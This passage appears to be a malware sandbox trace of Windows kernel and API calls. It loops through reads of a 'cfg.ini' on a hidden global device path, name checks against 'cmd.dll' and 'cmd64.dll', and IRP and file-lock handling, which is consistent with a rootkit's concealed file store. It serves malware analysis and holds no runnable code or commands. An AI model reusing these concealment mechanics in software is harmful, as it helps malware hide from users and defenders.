Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.154] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.154] KeLeaveCriticalRegion () [0126.154] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.154] KeEnterCriticalRegion () [0126.154] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.154] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.154] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac7240, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.154] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.154] KeLeaveCriticalRegion () [0126.154] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.154] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.154] KeEnterCriticalRegion () [0126.154] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.154] ExFreePoolWithTag (P=0xfffffa80037da280, Tag=0x0) [0126.154] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.154] KeLeaveCriticalRegion () [0126.154] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.154] ReleaseMutex (hMutex=0xf0) returned 1 [0126.154] Sleep (dwMilliseconds=0x124f80) [0126.168] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.168] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.168] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.168] KeEnterCriticalRegion () [0126.168] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.168] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.168] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.168] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.168] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0126.168] IdePortDispatch () returned 0x103 [0126.168] KeWaitForMutexObject () returned 0x0 [0126.168] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.168] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.168] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.168] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.168] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.168] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800365bfb0 [0126.168] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.168] KeLeaveCriticalRegion () [0126.168] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.168] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.168] KeEnterCriticalRegion () [0126.168] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.168] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.168] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.169] KeLeaveCriticalRegion () [0126.169] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.169] KeEnterCriticalRegion () [0126.169] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.169] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.169] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.169] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.169] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0126.169] IdePortDispatch () returned 0x103 [0126.169] KeWaitForMutexObject () returned 0x0 [0126.169] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.169] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.169] KeLeaveCriticalRegion () [0126.169] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.169] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.169] KeEnterCriticalRegion () [0126.169] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.169] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034c6000 [0126.169] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.169] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.169] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.169] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.169] IdePortDispatch () returned 0x103 [0126.169] KeWaitForMutexObject () returned 0x0 [0126.169] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.169] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.169] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.169] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.169] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.169] IdePortDispatch () returned 0x103 [0126.170] KeWaitForMutexObject () returned 0x0 [0126.170] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.170] KeLeaveCriticalRegion () [0126.170] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.170] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.170] KeEnterCriticalRegion () [0126.170] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.170] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.170] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.170] KeLeaveCriticalRegion () [0126.170] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.170] KeEnterCriticalRegion () [0126.170] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.170] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.170] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac6830, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.170] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.170] KeLeaveCriticalRegion () [0126.170] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.170] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.171] KeEnterCriticalRegion () [0126.171] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.171] ExFreePoolWithTag (P=0xfffffa800365bfb0, Tag=0x0) [0126.171] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.171] KeLeaveCriticalRegion () [0126.171] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.171] ReleaseMutex (hMutex=0xf0) returned 1 [0126.171] Sleep (dwMilliseconds=0x124f80) [0126.185] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.185] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.185] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.185] KeEnterCriticalRegion () [0126.185] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.185] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.185] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.185] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.185] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0126.185] IdePortDispatch () returned 0x103 [0126.185] KeWaitForMutexObject () returned 0x0 [0126.185] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.185] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.185] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.185] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.185] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.185] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037e1210 [0126.185] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.185] KeLeaveCriticalRegion () [0126.185] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.185] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.185] KeEnterCriticalRegion () [0126.185] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.185] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.185] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.185] KeLeaveCriticalRegion () [0126.185] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.185] KeEnterCriticalRegion () [0126.185] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.186] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.186] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.186] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.186] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0126.186] IdePortDispatch () returned 0x103 [0126.186] KeWaitForMutexObject () returned 0x0 [0126.186] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.186] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.186] KeLeaveCriticalRegion () [0126.186] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.186] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.186] KeEnterCriticalRegion () [0126.186] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.186] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034cb000 [0126.186] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.186] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.186] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.186] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.186] IdePortDispatch () returned 0x103 [0126.186] KeWaitForMutexObject () returned 0x0 [0126.186] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.186] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.186] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.186] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.186] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.186] IdePortDispatch () returned 0x103 [0126.186] KeWaitForMutexObject () returned 0x0 [0126.187] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.187] KeLeaveCriticalRegion () [0126.187] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.187] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.187] KeEnterCriticalRegion () [0126.187] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.187] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.187] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.187] KeLeaveCriticalRegion () [0126.187] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.187] KeEnterCriticalRegion () [0126.187] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.187] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.187] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac7240, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.187] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.187] KeLeaveCriticalRegion () [0126.187] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.187] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.187] KeEnterCriticalRegion () [0126.187] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.187] ExFreePoolWithTag (P=0xfffffa80037e1210, Tag=0x0) [0126.187] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.187] KeLeaveCriticalRegion () [0126.187] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.188] ReleaseMutex (hMutex=0xf0) returned 1 [0126.188] Sleep (dwMilliseconds=0x124f80) [0126.202] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.202] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.202] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.202] KeEnterCriticalRegion () [0126.202] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.202] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.202] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.202] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.202] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0126.202] IdePortDispatch () returned 0x103 [0126.202] KeWaitForMutexObject () returned 0x0 [0126.203] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.203] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.203] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.203] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.203] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.203] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037ec330 [0126.203] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.203] KeLeaveCriticalRegion () [0126.203] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.203] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.203] KeEnterCriticalRegion () [0126.203] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.203] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.203] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.203] KeLeaveCriticalRegion () [0126.203] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.203] KeEnterCriticalRegion () [0126.203] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.203] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.203] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.203] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.203] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0126.203] IdePortDispatch () returned 0x103 [0126.203] KeWaitForMutexObject () returned 0x0 [0126.203] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.203] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.203] KeLeaveCriticalRegion () [0126.203] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.203] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.203] KeEnterCriticalRegion () [0126.203] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.203] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034d0000 [0126.203] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.203] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.203] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.203] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.203] IdePortDispatch () returned 0x103 [0126.204] KeWaitForMutexObject () returned 0x0 [0126.204] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.204] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.204] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.204] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.204] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.204] IdePortDispatch () returned 0x103 [0126.204] KeWaitForMutexObject () returned 0x0 [0126.204] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.204] KeLeaveCriticalRegion () [0126.204] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.204] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.204] KeEnterCriticalRegion () [0126.204] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.204] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.204] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.205] KeLeaveCriticalRegion () [0126.205] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.205] KeEnterCriticalRegion () [0126.205] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.205] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.205] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037ec3f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.205] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.205] KeLeaveCriticalRegion () [0126.205] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.205] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.205] KeEnterCriticalRegion () [0126.205] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.205] ExFreePoolWithTag (P=0xfffffa80037ec330, Tag=0x0) [0126.205] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.205] KeLeaveCriticalRegion () [0126.205] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.205] ReleaseMutex (hMutex=0xf0) returned 1 [0126.205] Sleep (dwMilliseconds=0x124f80) [0126.219] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.219] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.219] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.219] KeEnterCriticalRegion () [0126.219] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.219] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.219] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.219] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.219] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0126.219] IdePortDispatch () returned 0x103 [0126.219] KeWaitForMutexObject () returned 0x0 [0126.219] _strnicmp (_Str1="cfg.ini", 